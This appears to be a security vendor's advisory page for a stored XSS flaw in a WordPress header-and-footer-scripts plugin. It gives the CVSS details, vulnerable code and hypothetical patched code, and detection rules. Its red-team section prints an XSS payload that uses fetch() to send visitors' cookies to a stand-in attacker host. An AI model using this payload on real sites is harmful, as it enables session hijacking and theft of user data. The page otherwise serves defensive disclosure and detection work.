CVE-2025-11453
Executive Summary
CVE-2025-11453 is a Stored Cross-Site Scripting (XSS) vulnerability in the Header and Footer Scripts plugin for WordPress, affecting all versions up to and including 2.3.0. The flaw resides in the _inpost_head_script parameter, which is insufficiently sanitized and escaped. Authenticated attackers with at least Contributor-level access can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. Users should verify the integrity of their plugin files and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (affects other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is medium due to the requirement for authenticated access, but the potential for widespread impact on a WordPress site is significant.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the WordPress plugin "Header and Footer Scripts." The plugin allows users to inject custom scripts into the header and footer of posts/pages. The _inpost_head_script parameter is used to store per-post header scripts. Due to insufficient input sanitization and output escaping, an attacker with Contributor-level access can inject malicious JavaScript. When the post is viewed, the script executes in the context of the victim's browser, potentially leading to session hijacking, defacement, or data theft.
The attack flow:
- Attacker logs in with Contributor-level credentials.
- Attacker creates or edits a post, injecting malicious JavaScript into the
_inpost_head_scriptfield. - The plugin stores the unsanitized input.
- When any user (including admins) views the post, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.3.0):
// In header-and-footer-scripts.php
function hfs_output_head_scripts() {
global $post;
if (isset($post->ID)) {
$head_script = get_post_meta($post->ID, '_inpost_head_script', true);
if (!empty($head_script)) {
echo $head_script; // Direct output without escaping
}
}
}
Patched Code (Hypothetical):
function hfs_output_head_scripts() {
global $post;
if (isset($post->ID)) {
$head_script = get_post_meta($post->ID, '_inpost_head_script', true);
if (!empty($head_script)) {
echo esc_html($head_script); // Escaped output
}
}
}
The fix involves using esc_html() or wp_kses() to sanitize the output. Additionally, input validation should be applied when saving the meta field.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Header and Footer Scripts plugin <= 2.3.0
- Contributor-level account credentials
Exploit Steps:
- Log in to WordPress as a Contributor.
- Create a new post or edit an existing one.
- In the "Header Scripts" meta box (if visible), or via the custom fields, inject the following payload into
_inpost_head_script:<script>alert('XSS')</script> - Save the post.
- Visit the post as any user to trigger the XSS.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual script tags in post meta fields.
- Look for Contributor-level users creating posts with suspicious content.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
Hardening:
- Disable the plugin until a patch is available.
- Restrict Contributor-level permissions to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/header-and-footer-scripts/header-and-footer-scripts.php(version <= 2.3.0) - Database: Post meta entries with key
_inpost_head_scriptcontaining<script>tags. - Network: Outbound requests to attacker-controlled domains from the WordPress server.
- Logs: WordPress audit logs showing post edits by Contributor-level users with unusual meta data.
Detection Engineering
YARA Rule
rule CVE_2025_11453_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Header and Footer Scripts plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-11453"
strings:
$meta_key = "_inpost_head_script"
$xss_payload = /<script[^>]*>.*?<\/script>/is
condition:
$meta_key and $xss_payload
}
Sigma Rule
title: Stored XSS via Header and Footer Scripts Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via the _inpost_head_script parameter
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
meta_key: "_inpost_head_script"
meta_value|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in header scripts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11453 Stored XSS Payload"; flow:to_server,established; content:"_inpost_head_script"; nocase; pcre:"/<script[^>]*>.*?<\/script>/is"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Review and remove any suspicious post meta entries with
_inpost_head_script. - Audit user accounts with Contributor-level access and revoke unnecessary privileges.
Long-term Fix:
- Apply input sanitization and output escaping to the
_inpost_head_scriptparameter. - Use WordPress functions like
esc_html()orwp_kses()when outputting meta data. - Implement nonce checks and capability validation for meta field updates.
Workaround:
- If the plugin is essential, restrict its use to Administrator-level users only via role management plugins.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.